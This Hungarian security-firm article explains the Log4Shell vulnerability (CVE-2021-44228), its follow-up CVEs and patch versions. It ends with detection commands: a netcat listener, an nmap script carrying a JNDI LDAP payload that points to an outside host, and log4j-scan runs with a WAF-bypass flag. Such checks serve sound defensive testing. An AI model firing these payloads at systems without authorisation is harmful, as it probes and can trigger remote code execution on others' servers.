Log4j2 távoli kódfuttatás (RCE) sérülékenység keresése log4shell exploittal

Mi az a Log4j2 távoli kódfuttatás (RCE) sérülékenység?

2021 decemberében egy nagyon súlyos, távoli kódfuttatást lehetővé tévő sérülékenységet azonosítottak (CVE-2021-44228) a számos kiszolgálón és szoftverben megtalálható Log4j2 (2.0-beta9 - 2.14.1; Java 8+) naplózó komponensben.

Ha egy kiszolgáló vagy szoftver a sérülékeny Log4j2 naplózót használja, akkor egy támadó a felhasználói beviteli adatokba (fejlécparaméterek, beviteli mezők stb.) rejtett JNDI URI-lekéréssel rá tudja venni, hogy előre lefordított Java-exploitokat töltsön le a támadó saját szerveréről és azokat lefuttassa.

Miért veszélyes a Log4j2 távoli kódfuttatás (RCE) sérülékenység?

A sérülékenység sikeres kihasználásával a támadó (vagy támadó algoritmus) ugyan jogosultsági korlátokkal, de szoftvereket és parancsokat futtathat a megtámadott rendszeren. Ez a megtámadott rendszeren tárolt adatok (kommunikáció, jelszavak, felhasználónevek, személyes adatok stb.) manipulálásához, ellopásához, megsemmisítéséhez vagy zsarolóvírussal történő letitkosításához használható fel.

Hogyan javítható a Log4j2 távoli kódfuttatás (RCE) sérülékenység?

Bár többféle javaslat kering az interneten, a többségük nem alkalmazható univerzálisan, vagy azóta már kiderült róluk, hogy mégsem jelentenek valódi védelmet az sérülékenységgel szemben.

Továbbá a Log4j2-t karbantartó Apache ugyan javította az eredeti sérülékenységet (CVE-2021-44228) a Log4j 2.15.0-ben (Java 8), de kiderült hogy a javítás újabb sérülékenységet (CVE-2021-45046) hozott, amit a Log4j 2.12.2 (Java 7) és a Log4j 2.16.0 (Java 8) verziókban javítottak. Ezt követően még azonosítottak egy szintén ehhez kapcsolódó DoS sérülékenységet (CVE-2021-45105) is, amit Log4j 2.16.0 (Java 8) kiadásban javítottak.

Összességében tehát kijelenthető, hogy a feladat:

Hogyan ellenőrizhető a Log4j2 távoli kódfuttatás (RCE) sérülékenység jelenléte?

A sérülékenység jelenlétének black-box ellenőrzésére számos segédeszközt kiadtak, amiket kizárólag akkor érdemes használnunk, ha nem vagyunk tisztában, mely szerverek lehetnek érintettek a hálózaton.

Amennyiben nem rendelkezünk a szükséges szakmai kompetenciákkal vagy vizsgálati környezettel a sérülékenység ellenőrzéséhez, igényeljük a Makay Kiberbiztonsági Kft. sérülékenységvizsgálat szolgáltatását!

Ha mégis házon beül szeretnénk megoldani a feladatot, akkor az alábbi ingyenes exploitokkal tehetjük meg:

github.com/Diverto/nse-log4shell

Publikus IP:PORT módon megszólítható vizsgálati környezet:

nc -lvnp 34556 nmap -v --script=ftp-log4shell.nse,http-log4shell.nse,http-spider-log4shell.nse,imap-log4shell.nse,sip-log4shell.nse,smtp-log4shell.nse,ssh-log4shell.nse "--script-args=log4shell.payload=\"${jndi:ldap://<PUBLIKUS IP>:34556/}\"" -T4 -n --script-timeout=1m <CÉLPONT>

github.com/fullhunt/log4j-scan

python3 log4j-scan.py -u <CÉLPONT> --waf-bypass python3 log4j-scan.py -u <CÉLPONT> --run-all-tests python3 log4j-scan.py -l urls.txt

Kapcsolódó weboldalak

Ne maradjon le a legújabb kiberbiztonsági hírekről, fejlesztésekről, kutatási eredményekről és fenyegetési riasztásokról!
KATTINTSON IDE és iratkozzon fel ingyenes hírlevelünkre, hogy a legfontosabb információk biztosan eljussanak Önhöz!
Árajánlat